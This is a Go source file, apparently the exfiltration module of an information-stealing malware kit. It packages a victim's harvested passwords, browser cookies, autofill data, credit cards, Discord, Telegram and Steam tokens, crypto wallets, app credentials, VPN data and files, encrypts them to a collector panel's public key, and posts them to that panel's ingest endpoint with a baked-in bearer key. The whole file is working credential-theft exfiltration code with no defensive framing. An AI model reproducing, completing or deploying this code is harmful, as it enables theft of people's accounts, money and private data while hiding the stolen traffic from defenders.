package exfil import ( "bytes" "crypto/ecdh" "crypto/rand" "crypto/sha256" "encoding/base64" "encoding/hex" "context" "encoding/json" "fmt" "io" "net/http" "os" "runtime" "strings" "time" "golang.org/x/crypto/chacha20poly1305" "golang.org/x/crypto/hkdf" "recovery/recovery/types" ) // PANEL_ENDPOINT is where the collector panel lives. URL + key are baked at // build time (see build_final.bat or set here). // PANEL_PUBKEY is the panel's E2EE public key (hex). Get it from /e2ee/pub on // the panel. Only this public key is needed to post; decryption needs the // private key that only the panel holds. var ( PanelEndpoint = "http://127.0.0.1:5000/api/ingest" PanelPubKey = "" // Ingest key must match PANEL_INGEST_KEY on the panel. PanelAuth = "CHANGE-ME" ) const ( e2eeSalt = "kematian-e2ee-salt" e2eeInfo = "kematian-e2ee-v1" ) // e2eeSeal encrypts plaintext toward the panel's public key. // Wire format: base64( ephemeral_pub(32) || nonce(12) || ciphertext ) func e2eeSeal(plaintext []byte) (string, error) { pkBytes, err := hex.DecodeString(PanelPubKey) if err != nil || len(pkBytes) != 32 { return "", fmt.Errorf("invalid panel public key: %v", err) } curve := ecdh.X25519() panelPub, err := curve.NewPublicKey(pkBytes) if err != nil { return "", err } ephPriv, err := curve.GenerateKey(rand.Reader) if err != nil { return "", err } shared, err := ephPriv.ECDH(panelPub) if err != nil { return "", err } // HKDF-SHA256(shared, salt, info) -> 32-byte key r := hkdf.New(sha256.New, shared, []byte(e2eeSalt), []byte(e2eeInfo)) key := make([]byte, chacha20poly1305.KeySize) if _, err := io.ReadFull(r, key); err != nil { return "", err } aead, err := chacha20poly1305.New(key) if err != nil { return "", err } nonce := make([]byte, aead.NonceSize()) if _, err := rand.Read(nonce); err != nil { return "", err } ct := aead.Seal(nil, nonce, plaintext, nil) wire := append(ephPriv.PublicKey().Bytes(), nonce...) wire = append(wire, ct...) return base64.StdEncoding.EncodeToString(wire), nil } // ensurePubKey fetches the panel's E2EE public key at runtime if it isn't // already embedded. This removes the need to paste the key at build time: only // the endpoint + auth key are baked in, the agent asks the panel for its key. func ensurePubKey() error { if PanelPubKey != "" { return nil } req, err := http.NewRequestWithContext(context.Background(), "GET", buildBaseURL()+"/e2ee/pub", nil) if err != nil { return err } req.Header.Set("Authorization", "Bearer "+PanelAuth) resp, err := http.DefaultClient.Do(req) if err != nil { return fmt.Errorf("fetching pubkey: %w", err) } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return fmt.Errorf("pubkey endpoint returned %s", resp.Status) } body, _ := io.ReadAll(resp.Body) var out struct { PublicKey string `json:"publicKey"` } if err := json.Unmarshal(body, &out); err != nil { return fmt.Errorf("parsing pubkey: %w", err) } if len(out.PublicKey) != 64 { return fmt.Errorf("unexpected pubkey length %d", len(out.PublicKey)) } PanelPubKey = out.PublicKey return nil } func buildBaseURL() string { return strings.TrimSuffix(PanelEndpoint, "/api/ingest") } // SendToPanel posts the encrypted CollectionResult (+ optional binary payloads) // to the collector panel over E2EE. func SendToPanel(result *types.CollectionResult, clientID string, payloads ...types.Payload) error { if PanelEndpoint == "" { return fmt.Errorf("panel endpoint not configured") } if err := ensurePubKey(); err != nil { return err } if PanelPubKey == "" { return fmt.Errorf("no pubkey available") } payload := buildPanelPayload(result, clientID) if len(payloads) > 0 { payload["payloads"] = payloads } plainJSON, err := json.Marshal(payload) if err != nil { return err } enc, err := e2eeSeal(plainJSON) if err != nil { return err } body, _ := json.Marshal(map[string]string{"enc": enc}) req, err := http.NewRequestWithContext(context.Background(), "POST", PanelEndpoint, bytes.NewReader(body)) if err != nil { return err } req.Header.Set("Content-Type", "application/json") req.Header.Set("Authorization", "Bearer "+PanelAuth) client := &http.Client{Timeout: 60 * time.Second} resp, err := client.Do(req) if err != nil { return err } defer resp.Body.Close() respBody, _ := io.ReadAll(resp.Body) if resp.StatusCode != http.StatusOK { return fmt.Errorf("panel rejected: %s - %s", resp.Status, strings.TrimSpace(string(respBody))) } return nil } func guessOS() string { if runtime.GOOS == "windows" { return os.Getenv("OS") } return runtime.GOOS } func guessArch() string { return runtime.GOARCH } func GenerateClientID() string { b := make([]byte, 12) _, _ = rand.Read(b) return base64.RawURLEncoding.EncodeToString(b) } // buildPanelPayload maps a CollectionResult to the flat structure the panel // ingest stores into its per-category tables. clientID groups everything. func buildPanelPayload(r *types.CollectionResult, clientID string) map[string]interface{} { p := map[string]interface{}{ "clientId": clientID, "host": map[string]interface{}{ "os": guessOS(), "arch": guessArch(), }, } if l := len(r.Passwords); l > 0 { p["passwords"] = r.Passwords } if l := len(r.Cookies); l > 0 { p["cookies"] = r.Cookies } if l := len(r.Autofill); l > 0 { p["autofill"] = r.Autofill } if l := len(r.History); l > 0 { p["history"] = r.History } if l := len(r.Bookmarks); l > 0 { p["bookmarks"] = r.Bookmarks } if l := len(r.CreditCards); l > 0 { p["creditCards"] = r.CreditCards } if l := len(r.DiscordTokens); l > 0 { p["discordTokens"] = r.DiscordTokens } if l := len(r.Files); l > 0 { p["files"] = r.Files } if l := len(r.Extensions); l > 0 { p["extensions"] = r.Extensions } if l := len(r.Wallets); l > 0 { p["wallets"] = r.Wallets } if l := len(r.Telegram); l > 0 { p["telegram"] = r.Telegram } if l := len(r.Keys); l > 0 { p["keys"] = r.Keys } if l := len(r.AppCredentials); l > 0 { p["appCredentials"] = r.AppCredentials } if r.Gaming != nil { p["gaming"] = r.Gaming if r.Gaming.Steam != nil && len(r.Gaming.Steam.SteamTokens) > 0 { p["steamTokens"] = r.Gaming.Steam.SteamTokens } } if r.VPNs != nil { p["vpns"] = r.VPNs } return p }